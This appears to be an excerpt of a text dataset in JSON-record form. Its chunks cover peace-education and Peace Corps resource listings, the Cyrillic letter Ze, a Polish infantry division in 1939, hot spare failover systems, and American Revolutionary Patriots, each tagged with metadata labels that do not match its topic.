must read for classroom usable ideas about global education. this education newsletter is a quarterly teacher resource from the global education networks of npca and ascd ( formerly the association for supervision and curriculum development ). world, our world teaches leadership, tolerance and conflict resolution while engaging the students ( mostly in grades 4 - 7 ) in a global education assembly. based in solana beach, the program has presented to over 150, 000 students in is a national education project of the southern poverty law center, dedicated to helping teachers foster equity, respect and understanding in the classrooms and beyond. their materials for teachers are excellent. if you are not already involved with them, this site is a must! character education partnership a nonpartisan coalition of organizations and individuals dedicated to developing moral character and civic virtue in our nation ' s youth as one means of creating a more compassionate and responsible society. finding, commending and publicizing people who stick their necks out for the common good... to get others to follow their lead. source & reference sites global schoolhouse, global school net a fun filled site for parents, teachers and kids... very good ideas for projects. gsh is already one of the most popular sites on the entire net. founded in oceanside, ca, gsh has found an intelligent way to let the internet carry the message. prb is dedicated to providing timely, objective information on u. s. and international population trends. is an educational non - profit dedicated to informing young people about the problems of increasing world population, and the complex interrelationships between human numbers and the environmental, social and economic issues population - - > population connection the nation ' s largest grassroots organization concerned with the impacts of rapid population growth and wasteful consumption. and conflict resolution sites for nonviolent communication the center for nonviolent communicationsm ( cnvc ) is a global organization whose vision is a world where all people are getting their needs met and resolving their conflicts peacefully. in this vision, people are using nonviolent communicationsm ( nvc ) to create and participate in networks of worldwide life - serving systems in economics, education, justice, healthcare, communication : a language of compassion ( book by marshall rosenberg, published", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.491504725308696, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.718223"} {"text": "in this vision, people are using nonviolent communicationsm ( nvc ) to create and participate in networks of worldwide life - serving systems in economics, education, justice, healthcare, communication : a language of compassion ( book by marshall rosenberg, published in escondido, ca ) nonviolent communication ( nvc ) is a life - changing way of interacting that facilitates the flow of communication needed to exchange information and resolve differences peacefully. with its focus on human feelings and needs, the practice of nvc emphasizes emotional intelligence over intellectual analysis in expressing what \u2019 s going on in people. http : / / www. nonviolentcommunication. com / institute of peace the mission of the united states institute of peace is to strengthen the nation ' s capabilities to promote the peaceful resolution of international of florida study projects connects schools with conflict resolution / peer mediation programs. these projects resulted in the following curricular materials : - working together to resolve conflict curriculum ( middle / junior high ) - working together to resolve conflict peer mediation training manual ( middle / junior high ) - tools for getting along ( upper elementary ) - take charge! has developed over the past 15 years books, curriculums, and programs to educate children about roots of conflict and violence : bullying. the overall intent of the atrium society is to provide every child with the essential materials and education to end the conflicts in their lives. over the years the atrium society has reached children all over the world from russia to africa, and to europe, asia, and the america. of torture, international survivors of torture, international is an independent nonprofit organization dedicated to caring for survivors of politically - motivated torture and their families who live in san diego county. since 1997, survivors has helped more than 500 torture survivors from more than 40 countries to recover from their traumas through a holistic program including medical, dental, psychiatric, psychological, legal and 3 : bringing it all back home for the museum of the peace corps experience while the peace corp is very successful at fulfilling most of kennedy \u2019 s vision, the third goal of the mission \u2014 the promotion of a better understanding of other peoples by americans \u2014 continues to lag behind. we need your help to realize the full potential of the peace corps mission. as a retuned peace corps volunteer ( rpcv ), you have the background to help us create themuseum of the peace corps experience. as the peace corps enters its fifth decade, there is a wealth of stories that should be shared with a wider audience. this proposed permanent museum will..", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5026842198423294, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.719277"} {"text": "), you have the background to help us create themuseum of the peace corps experience. as the peace corps enters its fifth decade, there is a wealth of stories that should be shared with a wider audience. this proposed permanent museum will... assembled, published, distributed and sold by returned pcvs of wisconsin - madison. this yearly international calendar project seeks to share peace corps experiences with our home communities and to raise money for grassroots projects in the countries where we served or in which we live. the images of the calendar will introduce you to the people who welcomed us so warmly into their communities. from august orward from : each month ' s - day has listings of cultural events from throughout the world. more information about each month ' s - country ( including recipes ) can be accessed by clicking on the month ' s - picture moving across screen - bottom. some previous years ' calendars are available - - check the site. world through my eyes the world through my eyes helps mozambican children learn about and experiment with photography, improving their chances of receiving scholarships at a university either in mozambique or abroad. it is a project put in place by rpcv blake schmidt when he was a pcv in mozambique in 2001 - 2003. visit the site to find out more about waht is being done. and check out the photographs for sale to help raise money. awesome photos!!! peace corps times : revised newsletter / magazine we recevied as volunteers in the field. available in electronic pdf downloadable format the peace gallery presents images from around the world as seen through the cameras of peace corps volunteers. although the images show the amazing diversity on our planet, they also show how similar we are to each other. corps special funds support global initiatives such as drinking water and sanitation, information and communication technology, and hiv / aids prevention and education. you may also be interested in learning about current volunteer projects or supporting a specific country through country funds. https : / / donate. peacecorps. gov / index. cfm? shell = donate. contribute. donatenow & keyword = spf pc partnership programs ( selling over the internet ) center - - a virtual crafts shop on the internet, to provide an overseas market for unemployed and under - employed bulgarian artisans. all credit cards accepted. same - day shipment in most cases.. also : peace corps bulgaria t - shirts and sweatshirts to benefit the orphanage weaving cooperative - - a project to equip a women ' s weaving and sewing cooperative and provide jobs for up to 64", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4804415293665423, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.720338"} {"text": ". same - day shipment in most cases.. also : peace corps bulgaria t - shirts and sweatshirts to benefit the orphanage weaving cooperative - - a project to equip a women ' s weaving and sewing cooperative and provide jobs for up to 64 women in a severely depressed rural community. see the website at : peace corps volunteers memorial project since the peace corps began in 1961, more than 170, 000 peace corps volunteers have served in 137 countries. of these dedicated men and women, 257 have sacrificed not only their energies and time, but also their lives while pursuing the peace corps mission. they are remembered here on this site, so that all may honor and celebrate their lives and service. the bookman is a global charitable organization based in san diego, california that supplies books free to anyone who asks. operated with all volunteer labor by irwin herman, the organization has given away more than 7 million books to people across the us and in 42 other countries. corps worldwide ( used to be pc writers ) peace corps worldwide provides a virtual community, supplies resources and shares real stories from around the world to returned peace corps volunteers ( rpcvs ), peace corps volunteers ( pcvs ), their families and friends, and to all who share our belief that international understanding contributes to world at peace. to achieve these goals we have brought together a group of talented returned peace corps volunteers, former peace corps staff, and friends and family of pcvs and rpcvs who have volunteered to contribute their time and skills to create a social network where we will help each other in our careers and in our lives. submit a story : anniversary story project a peace corps at 50 project our goal is to collect and publish stories \u2014 in print and online \u2014 that capture the spirit of the peace corps. this site is our invitation to you \u2014 rpcvs, staff, and invisible others \u2014 to write up your memories and send them along.... we will be looking for nonfiction stories that reflect the full range of experience in the peace corps, from the hilarious to the grim. on that continuum reside all the variations on the theme of dealing with the unfamiliar.... stories submitted and used become the property of the project... to date four books have been published out of this project and are available at amazon and other stores : one hand does not catch a buffalo : 50 years of amazing peace corps stories : vol 1 : africa ( peace corps at 50 ) by aaron barlow ( togo, 1988 \u2013 90 ), jane albritton ( india, 1967 \u2013 69 )", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4501596273570101, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.721429"} {"text": "stores : one hand does not catch a buffalo : 50 years of amazing peace corps stories : vol 1 : africa ( peace corps at 50 ) by aaron barlow ( togo, 1988 \u2013 90 ), jane albritton ( india, 1967 \u2013 69 ) travelers ' tales, ( mar 1, 2011 ), 400 pages pbk $ 18. 95 ( $ 12. 89 ) | | gather the fruit one by one : 50 years of amazing peace corps stories : vol 2 : the americas ( peace corps at 50 ) by bernie alter ( india, 67 \u2013 69 ), pat alter ( paraguay, 70 \u2013 72 ), eds. travelers tales, ( may 2011 ) 400 pages pbk $ 18. 95 ( $ 13. 87 ) | | a small key opens big doors : 50 years of amazing peace corps stories : vol 3 : heart of eurasia ( peace corps at 50 ) by jay chen, ed. ( kazakhstan, 2005 \u2013 08 ) travelers ' tales, ( october 2011 ) 352 pages pbk $ 18. 95 ( $ 12. 37 ) | | even the smallest crab has teeth : 50 years of amazing peace corps stories : vol 4 : asia & pacific ( peace corps at 50 ) by jane albritton ( india 1967 \u2013 69 ) travelers ' tales ( october 25, 2011 ) 352 pages pbk $ 18. 95 ( $ 12. 37 ) activities & groups opportunities to volunteer volunteer san diego volunteers serve our community by feeding the homeless, serving seniors, tutoring youth and cleaning beaches. vsd ( a 501 c3 ) also assists companies, schools and over 650 non - profits in developing volunteer programs and cultivating community leaders. \u2022 view their calendar for sd volunteer opportunities. \u2022 download their volunteer newsletter to find out more about the many ongoing activities and for humanity, international \u2022 world habitat day : the united nations has designated the first monday in october as annual world habitat day. in 2009, world habitat day was celebrated on october 5. on this day, we reaffirm that adequate shelter is a basic human right, and we focus on the housing conditions of cities and towns around the world. \u2022 jimmy and rosalynn carter work projects through yearly volunteer labor and donations of money and materials, habitat builds and rehabilitates simple, decent houses with the help of the homeowner ( partner ) families. habitat houses are sold to partner families at no profit, financed with affordable, no - interest loans. victor villasenor has spoken throughout the u. s. and mexico. his message is : we", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.42237696119277895, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.722356"} {"text": "of the homeowner ( partner ) families. habitat houses are sold to partner families at no profit, financed with affordable, no - interest loans. victor villasenor has spoken throughout the u. s. and mexico. his message is : we are one race, the \" human race \", una familia, we are the power all over the globe, and recorded history, as we know it, separates us and causes all of our confusions. he speaks from his heart, and he reaches out to embrace everyone who sees him. snow goose thanksgiving : san diego, ca : 1 pm sunday before thanksgiving to celebrate life - la vida - to honor mother earth, and to practice world peace!... if we really want peace and harmony on earth, then we need a day to rally around, a day of fun and joy. so let ' s take our u. s. celebration of thanksgiving and go global with it, inviting all of god ' s children to join us on one day a year to give thanks for all the good things we already have on earth and then feast and make merry with peace and harmony in our hearts and souls. the prc is a community clearinghouse of information on peace and social justice issues and activities. by promoting networking among peace - related organizations, offering nonviolent alternatives... founded in 1980 by six local organizations committed to peace, the peace resource center now has over 40 member organizations... is guided by the principles of nonviolence, tolerance, compassion and respect for diversity. volunteer day - - world volunteer web worldvolunteerweb. org is the global focal point for international volunteer day ( ivd ), celebrated around the world every 5 december. through the extensive information systems, the worldvolunteerweb. org promotes volunteerism while catalyzing partnerships between volunteer stakeholders from all continents. begun by a united nations general assembly resolution inviting \u201c united nations volunteers to develop a global internet volunteer resource based on the international year of volunteers... \u201d mother for peace another mother for peace is a non - profit, non - partisan association whose goal is to eliminate the use of war as a means of solving disputes between nations, people and ideologies. to accomplish this, we seek to educate citizens to take an active role in opposing war and building peace. our vision and motivation can be summed up in a single sentence : \" war is not healthy for children and other living things \" join us in urging our elected representatives to pursue peace and turn away", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46731469690563826, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.723308"} {"text": "take an active role in opposing war and building peace. our vision and motivation can be summed up in a single sentence : \" war is not healthy for children and other living things \" join us in urging our elected representatives to pursue peace and turn away from the use of violence to solve humankind ' s problems. check out their home page for history, mission statement, peace materials ( the big yellow poster is back! ), peace homework and quarterly newsletter cross - cultural solutions is a not - for - profit international volunteer organization that operates volunteer programs in brazil, china, costa rica, ghana, guatemala, india, peru, russia, tanzania, and thailand. participants work side - by - side with local people, on locally designed and driven projects. our volunteer programs are designed to facilitate hands - on service and cultural exchange in the aim of fostering cultural understanding. crossroad : world volunteer, internship & mini - adventure \u2022 world volunteer, internship : global crossroad offers many exciting volunteering opportunities to international volunteers in marvelous countries, such as india, nepal, china, sri lanka, thailand, mongolia, ghana, combodia & costa rica. world mini - adventure : the global crossroad ' s 2 week long mini - adventure program will allow for you to blend your volunteer project with a thrilling global voyage in nepal, india, china, sri lanka, thailand, mongolia, combodia, ghana & costa rica. the international people to people movement development aid from people to people was formed in 1977 in denmark as a response to the pressing need to improve conditions in the poor parts of the world. the idea was simple - a simplicity that has characterised the work of the organisation ever since : there are people in need, and we have so much and can get hold of even more. so let us take some of our surplus and transfer it to the needy. several hundres of programs in africa, asia, europe, north america and central america. consortium of leading international volunteer organizations, universities and colleges, corporations, and government agencies working collaboratively. idealist is independent of any government, political ideology, or religious creed. our work is guided by the common desire of our members and supporters to find practical solutions to social and environmental problems, in a spirit of generosity and mutual respect. offer information / connection for international : jobs, organizations, volunteer opportunities, internships, events, programs, resources, people. building bridges coalition the building bridges coalition ( bbc ) is a consortium of leading organizations working collaboratively to promote the field of international volunteering", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4965318609112567, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.724285"} {"text": "/ connection for international : jobs, organizations, volunteer opportunities, internships, events, programs, resources, people. building bridges coalition the building bridges coalition ( bbc ) is a consortium of leading organizations working collaboratively to promote the field of international volunteering. we are a galvanizing force, a convening space, and the voice of our field. the bbc is a project of the brookings institution \u2019 s initiative on international volunteering and service and is comprised of international volunteer organizations, corporations, universities and colleges, government agencies, policy makers, and other stakeholders. volunteer groups worldwide australian volunteers international : australia ' s largest and most experienced international volunteer sending agency. every year, we recruit, prepare and support hundredsds of australians who volunteer to live alongside people of other cultures and work towards the sustainable developmetn of communities.... volunteering : on the australian volunteers international site a listing of 24 inernational volunteering oranizations. | of archival interest google and others have good listings of information sources and groups working in relief world wide. use the links in their list to investigate individual groups and find more. web : an independent vehicle of information, designed specifically to assist the international humanitarian community in effective delivery of emergency assistance, reliefweb was launched in october 1996 and is administered by the un office for the coordination of humanitarian affairs ( ocha ). tsunami relief page : list of live urls to 30 + groups working in relief as well as news about tsunami relief many good listings of information sources and groups working in relief world wide. use the links to investigate individual groups and find more. send us any new links you frind appropriate. assembled september 3, 2005 ( links may be outdated ) peace corps volunteer sites peace corps ' homepage with directories and links to its various parts and related services. pc headqauarters, jobs, contracts, policies, links and more... new : peace corps times : newsletter / magazine we recevied as volunteers in the field. available in electronic pdf downloadable format peace corps association \u2022 peace corps connect : this is the national network of peace corps alumni and friends which carries out the third goal of the peace corps - bringing the world back home. to experience the information of our world and ideas on immigration, environment, and education as we discuss them among ourselves. website is titled : peace corps connect. \u2022 connected peace corps : compaion website to pc connect. it is described as : the place online for people who value the peace corps to reconnect", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48263036287903005, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.725299"} {"text": ", and education as we discuss them among ourselves. website is titled : peace corps connect. \u2022 connected peace corps : compaion website to pc connect. it is described as : the place online for people who value the peace corps to reconnect and work together toward a more peaceful and prosperous world. individuals may sign on and joinor build groups - - which reflect the affiliate groups of npca. response : originally named crisis corps \u2013 is a peace corps program that mobilizes perons for challenging short term assignments ( generally three to six months in length ) in various program areas around the world. it was historically only available to eligible returned peace corps volunteers. now it has been expanded to include americans with at least 10 years of work experience and medical professionals. groups : alumni & \" friends of \" groups listings of various groups of pcvs, rpcvs, etc. on the npca website : more than 150 groups listed by country of service, geographical region and nationwide interest. listed on peacecorpsonline : rpcv ' s sign themselves onto the listings by country of service available here. shriver peaceworker fellows program : support during graduate studies everyone who successfully completes peace corps service has a lifetime eligibility for the peace corps fellows programs around the country. these are great programs that support rpcvs as they earn graduate degrees while engaging in service to our communities here at home. our program, the shriver peaceworker fellows program, was founded by sargent shriver ' s family to continue his remarkable legacy of service leadership... links to all known peace corps related sites, quotes of the month, software tips and whole lots more. updated monthly! \u2013 corps online [ not affiliated with pc / washington ] news forum serving returned peace corps volunteers. \" current articles, news, stories, discussions, directories related to rpcvs and their concerns. peace corps online is not affiliated with peace corps / washington. magazine, pc library, rpcv directory, post your views and responses to a wide variety of issues relevenat to pc... corps wiki [ not affiliated with pc / washington ] peace corps wiki is a collaborative project whose goal is to create a free, interactive and up - to - date source of information about serving as a volunteer with the u. s. peace corps. anyone is welcome to edit, add, or change any entry, or start a new one.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48768238743459136, "token_count": 488, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.726189"} {"text": "| this article does not cite any references or sources. ( february 2007 ) | | cyrillic letter ze | | cyrillic numerals : 7 | | list of cyrillic letters | ze ( \u0437 \u0437 ; italics : \u0437 \u0437 ) is a letter of the cyrillic script. it commonly represents the voiced alveolar fricative / z /, like the pronunciation of \u27e8 z \u27e9 in \" zoo \". ze is romanized using the latin letter \u27e8 z \u27e9. history and shape ze is derived from the greek letter zeta ( \u03b6 \u03b6 ). in the early cyrillic alphabet its name was \u0437\u0435\u043c\u043b\u044f ( zemlja ), meaning \" earth \". the shape of the letter originally looked like a greek letter z similar to modern latin z with a tail on the bottom ( majuscule :, minuscule : ). in the cyrillic numeral system, ze had a value of 7. medieval cyrillic manuscripts and church slavonic printed books have two variant forms of the letter ze : \u0437 / \u0437 and /. some early grammars tried to give a phonetical distinction to these forms ( like palatalized vs. nonpalatalized sound ), the system had no further development. ukrainian scribes and typographers were regularly using \u0437 / \u0437 in an initial position, and / otherwise ( a system in use till the end of the 19th century ). typographers from the great russia also knew the two shapes, but have used the second form mostly in the case of two \u0437 ' s in row : ( the system in use till mid - 18th century ). the civil ( petrine ) script knows only one shape of the letter : \u0437 / \u0437. however, shapes similar to z / z can be used in certain stylish typefaces. in callygraphy and in general handwritten text, lowercase \u0437 can be written either fully over the baseline ( similar to the printed form ) or with the lower half under the baseline and with the loop ( for the russian language, a standard shape since the middle of the 20th century ). phonetic value the letter ze may represent : - / z /, the voiced alveolar sibilant ( macedonian, bulgarian, serbian, russian, ukrainian and belarusian ) ; - / z\u02b2 /, if followed by \u27e8 \u044c \u27e9 ( by \u27e8 \u0458 \u27e9 in serbian ) or any of the palatalizing vowels, as in russian \u0437\u0435\u0440\u043a\u0430\u043b\u043e [ \u02c8z\u02b2\u025br. k\u0259. l\u0259 ] ( \u201c mirror", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4822100237005381, "token_count": 505, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.730322"} {"text": "/, if followed by \u27e8 \u044c \u27e9 ( by \u27e8 \u0458 \u27e9 in serbian ) or any of the palatalizing vowels, as in russian \u0437\u0435\u0440\u043a\u0430\u043b\u043e [ \u02c8z\u02b2\u025br. k\u0259. l\u0259 ] ( \u201c mirror \u201d ) ; - / s /, the voiceless alveolar sibilant ( in final position or before voiceless consonants ) ; - / s\u02b2 /, if followed by \u27e8 \u044c \u27e9 in final position or before voiceless consonants ; - clusters \u27e8 \u0437\u0436 \u27e9 and \u27e8 \u0437\u0448 \u27e9 are pronounced in russian as if they were \u27e8 \u0436\u0436 \u27e9 and \u27e8 \u0448\u0448 \u27e9, respecively ( even if \u27e8 \u0437 \u27e9 is the last letter of a preposition, like in russian \u0431\u0435\u0437 \u0436\u0435\u043d\u044b \u201c without wife \u201d or \u0438\u0437 \u0448\u043a\u043e\u043b\u044b \u201c from school \u201d ) ; - cluster \u27e8 \u0437\u0447 \u27e9 ( sometimes also \u27e8 \u0437\u0434\u0447 \u27e9 ) is pronounced in russian as if it was \u27e8 \u0449 \u27e9 ( \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0447\u0438\u043a \u201c narrator \u201d, \u0437\u0432\u0435\u0437\u0434\u0447\u0430\u0442\u044b\u0438 \u201c stellar, star - shaped \u201d, \u0431\u0435\u0437 \u0447\u0430\u044f \u201c without tea \u201d ) ; - cluster \u27e8 \u0434\u0437 \u27e9 can be pronounced ( mostly in ukrainian and belarusian ) as the voiced alveolar affricate / dz / ( ukrainian \u0434\u0437\u0435\u0440\u043a\u0430\u043b\u043e \u201c mirror \u201d ) or its palatalized form / dz\u02b2 / ( belarusian \u0433\u0430\u0434\u0437\u0456\u043d\u043d\u0456\u043a \u201c clock \u201d ), but if \u27e8 \u0434 \u27e9 and \u27e8 \u0437 \u27e9 belong to different morphemes, then they are pronounced separately. \u0437 - shaped latin letters - 3 : digit three - \u03b6 \u03b6 : greek letter zeta - z z : latin letter z - \u0292 \u0292 : latin letter ezh - : latin letter yogh - : cyrillic letter dhe or ze with descender - : cyrillic letter abkhazian dze computing codes | unicode name | | cyrillic capital letter ze | | cyrillic small letter ze | | utf - 8 | | 208 151 | | d0 97 | | 208 183 | | d0 b7 | | numeric character reference | | \u0437 | | \u0437 | | \u0437 | | \u0437 | | koi8 - r and koi8 - u | | 250 | | fa | | 218 | | da | | code page 855 | | 244 | | f4 | | 243 | | f3 | | code page", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5248803987015136, "token_count": 506, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.731252"} {"text": "27th infantry division ( poland ) the 27 infantry division ( polish : 27 dywizja piechoty ), was a unit of the polish army in the inter - war period. it was created on 18 october 1920, as a result of reorganization of the army, from units of the 2nd i. d., 3rd i. d., and 13th i. d. its headquarters were located in kowel, with units stationed in other volhynian towns, such as lutsk, sarny and wlodzimierz wolynski. division ' s first commandant was general gustaw kuchinka. participation in polish september campaign the division, under general juliusz drapella, was mobilized between 14 and 16 august 1939. in the following days it was transported by rail to the area of bydgoszcz and inowroc\u0142aw, and finally, by 27 august, it was placed southwest of starogard gdanski, as part of the pomorze army. on 1 september 1939 ( see : polish september campaign ) the division was ordered to march towards torun. the next day it engaged in heavy fights with the advancing wehrmacht. on the third day of the war, it was cut off from the pomorze army after bloody fights around terespol pomorski and swiecie. the germans managed to destroy the bulk of the unit in a battle waged in forests around wierzchucin. remaining parts of the division managed to reach bydgoszcz and later torun. there, the division was moved to the rear to reorganize and recuperate. on 6 september, the division, renamed into operational group of general drapella and strengthened by reserve units including the 208th infantry regiment from inowroc\u0142aw and national defence battalion starogard, was ordered to defend torun from west. the next day, it began a retreat towards warsaw, covering the main forces of the pomorze army. during the following days, it helped polish units fighting in the battle of the bzura, engaging the wehrmacht around solec kujawski ( 7 \u2013 8 september ), w\u0142oc\u0142awek and brzesc kujawski ( 9 \u2013 12 september ). withdrawing towards southeast, it attacked a german outpost near p\u0142ock, but without success. on 16 september, the group was ordered to march towards gabin, but was attacked by the luftwaffe and german ground forces. the group was destroyed. separate smaller groups of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3679347966413731, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.733950"} {"text": "| this article does not cite any references or sources. ( september 2007 ) | a hot spare or hot standby is used as a failover mechanism to provide reliability in system configurations. the hot spare is active and connected as part of a working system. when a key component fails, the hot spare is switched into operation. more generally, a hot standby can be used to refer to any device or system that is held in readiness to overcome an otherwise significant start - up delay. examples of hot spares are components such as a / v switches, computers, network printers, and hard disks. the equipment is powered on, or considered \" hot, \" but not actively functioning in ( i. e. used by ) the system. electrical generators may be held on hot standby, or a steam train may be held at the shed fired up ( literally hot ) ready to replace a possible failure of an engine in service. in designing a reliable system, it is recognized that there will be failures. at the extreme, a complete system can be duplicated and kept up to date \u2014 so in the event of the primary system failing, the secondary system can be switched in with little or no interruption. more often, a hot spare is a single vital component without which the entire system would fail. the spare component is integrated into the system in such a way that in the event of a problem, the system can be altered to use the spare component. this may be done automatically or manually, but in either case it is normal to have some means of error detection. a hot spare does not necessarily give 100 % availability or protect against temporary loss of the system during the switching process ; it is designed to significantly reduce the time that the system is unavailable. hot standby may have a slightly different connotation of being active but not productive to hot spare, that is it is a state rather than object. for example, in a national power grid, the supply of power needs to be balanced to demand over a short term. it can take many hours to bring a coal - fired power station up to productive temperatures. to allow for load balancing, generator turbines may be kept running with the generators switched off so as peaks of demand occur, the generators can rapidly be switched on to balance the load. being in the state of being ready to run is known as hot standby. though it is not a modern phenomenon, steam train operators might hold a spare steam engine at a terminus fired up, as starting an engine cold would take a significant amount of time.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5556758391603314, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.737981"} {"text": "the state of being ready to run is known as hot standby. though it is not a modern phenomenon, steam train operators might hold a spare steam engine at a terminus fired up, as starting an engine cold would take a significant amount of time. the spare may be similar component or system, or it may be a system of reduced performance, designed to cope for the duration of the time to repair and recover the original component. in high availability systems, it is common to design so that not only is there a spare that can quickly be switched in, but also that the failed component can be repaired or replaced without stopping the system - this is known as hot swapping. it may be considered that the probability of a second failure is low, and therefore the system is designed simply to allow operation to continue until a suitable maintenance period. the appropriate solution is normally determined by balancing the costs of implementing the availability against the likelihood of a problem and the severity of that problem. there are two types of hot standby : 1. hot standby master - slave 2. hot standby in shearing mode computer usage a hot spare disk is a disk or group of disks used to automatically or manually, depending upon the hot spare policy, replace a failing or failed disk in a raid configuration. the hot spare disk reduces the mean time to recovery ( mttr ) for the raid redundancy group, thus reducing the probability of a second disk failure and the resultant data loss that would occur in any singly redundant raid ( e. g., raid - 1, raid - 5, raid - 10 ). typically, a hot spare is available to replace a number of different disks and systems employing a hot spare normally require a redundant group to allow time for the data to be generated onto the spare disk. during this time the system is exposed to data loss due to a subsequent failure, and therefore the automatic switching to a spare disk reduces the time of exposure to that risk compared to manual discovery and implementation. the concept of hot spares is not limited to hardware, but also software systems can be held in a state of readiness, for example a database server may have a software copy on hot standby, possibly even on the same machine to cope with the various factors that make a database unreliable, such as the impact of disc failure, poorly written queries or database software errors. hot standby operation in railway signalling at least two units of the same type will be powered up, receiving the same set of inputs, performing identical computations and producing identical outputs in a", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5340205877718945, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.738976"} {"text": "patriot ( american revolution ) patriots ( also known as rebels, revolutionaries, congress - men or american whigs ) were the colonists of the british thirteen united colonies who violently rebelled against british control during the american revolution and in july 1776 declared the united states of america an independent nation. their rebellion was based on the political philosophy of republicanism, as expressed by pamphleteers, such as thomas jefferson, alexander hamilton, and thomas paine. as a group, patriots represented a wide array of social, economic, ethnic and racial backgrounds. they included lawyers like john adams and alexander hamilton ; planters like thomas jefferson and george mason ; merchants like alexander mcdougall and ordinary farmers like daniel shays and joseph plumb martin. the critics of british rule called themselves whigs after 1768, identifying with members of the british whig party ( including the radical whigs and patriot whigs ), who favored similar colonial policies. the oxford english dictionary third definition of \" patriot \" is \" a person actively opposing enemy forces occupying his or her country ; a member of a resistance movement, a freedom fighter. originally used of those who opposed and fought the british in the american war of independence. \" the earliest citation is a 1773 letter by benjamin franklin. in britain at the time, \" patriot \" had a negative connotation, and was used, says samuel johnson to attack \" a factious disturber of the government. \" many patriots were active before 1775 in groups such as the sons of liberty. the most prominent leaders of the patriots are referred to today by americans as the founding fathers of the united states. the patriots came from many different backgrounds. among the most active of the patriots group were highly educated and fairly wealthy individuals. however, without the support of the ordinary men and women, such as farmers, lawyers, merchants, seamstresses, homemakers, shopkeepers, and ministers, the struggle for independence would have failed. in 2000 historian robert calhoon said the consensus of historians is that in the thirteen colonies between 40 and 45 percent of the white population supported the patriots ' cause, between 15 and 20 % supported the loyalists, and the remainder were neutral or kept a low profile. with a white population of about 2. 5 million, that makes about 380, 000 to 500, 000 loyalists. the great majority of them remained in america, since only about 80, 000 loyalists left the united states 1775 - 1783. they went to canada, britain, florida or the west indies, but some eventually returned. to understand how people made the choice between being a patriot", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4970812024502812, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.744329"} {"text": "of them remained in america, since only about 80, 000 loyalists left the united states 1775 - 1783. they went to canada, britain, florida or the west indies, but some eventually returned. to understand how people made the choice between being a patriot or a loyalist, historians have compared the motivations and personalities of leading men on each side. labaree ( 1948 ) has identified eight characteristics that differentiated the two groups. psychologically, loyalists were older, better established, and more likely to resist innovation than the patriots. loyalists said the crown was the legitimate government and resistance to it was morally wrong, while the patriots thought morality was on their side because the british government had violated the constitutional right of englishmen. men who were alienated by physical attacks on royal officials took the loyalist position, while those who applauded were being patriots. most men who wanted to find a compromise solution wound up on the loyalist side, while the proponents of immediate action became patriots. merchants in the port cities with long - standing financial and sentimental attachments to the empire were likely to remain loyal to the system, while few patriots were so deeply enmeshed in the system. some loyalists were procrastinators who realized that independence was bound to come some day, but wanted to postpone the moment ; the patriots wanted to seize the moment. loyalists were cautious and afraid of anarchy or tyranny that might come from mob rule ; patriots made a systematic effort to use and control mob violence. finally, labaree argues that loyalists were pessimists who lacked the patriots ' confidence that independence lay ahead. no taxation without representation the patriot faction came to reject taxes imposed by legislatures in which the tax - payer was not represented. \" no taxation without representation, \" was their slogan, referring to the lack of representation in the british parliament. the british countered there was \" virtual representation, \" that is, all members of parliament represented the interests of all the citizens of the british empire. though some patriots declared that they were loyal to the king, they believed that the assemblies should control policy relating to the colonies. they should be able to run their own affairs. in fact, they had been running their own affairs since the period of \" salutary neglect \" before the french and indian war. some radical patriots tarred and feathered tax collectors and customs 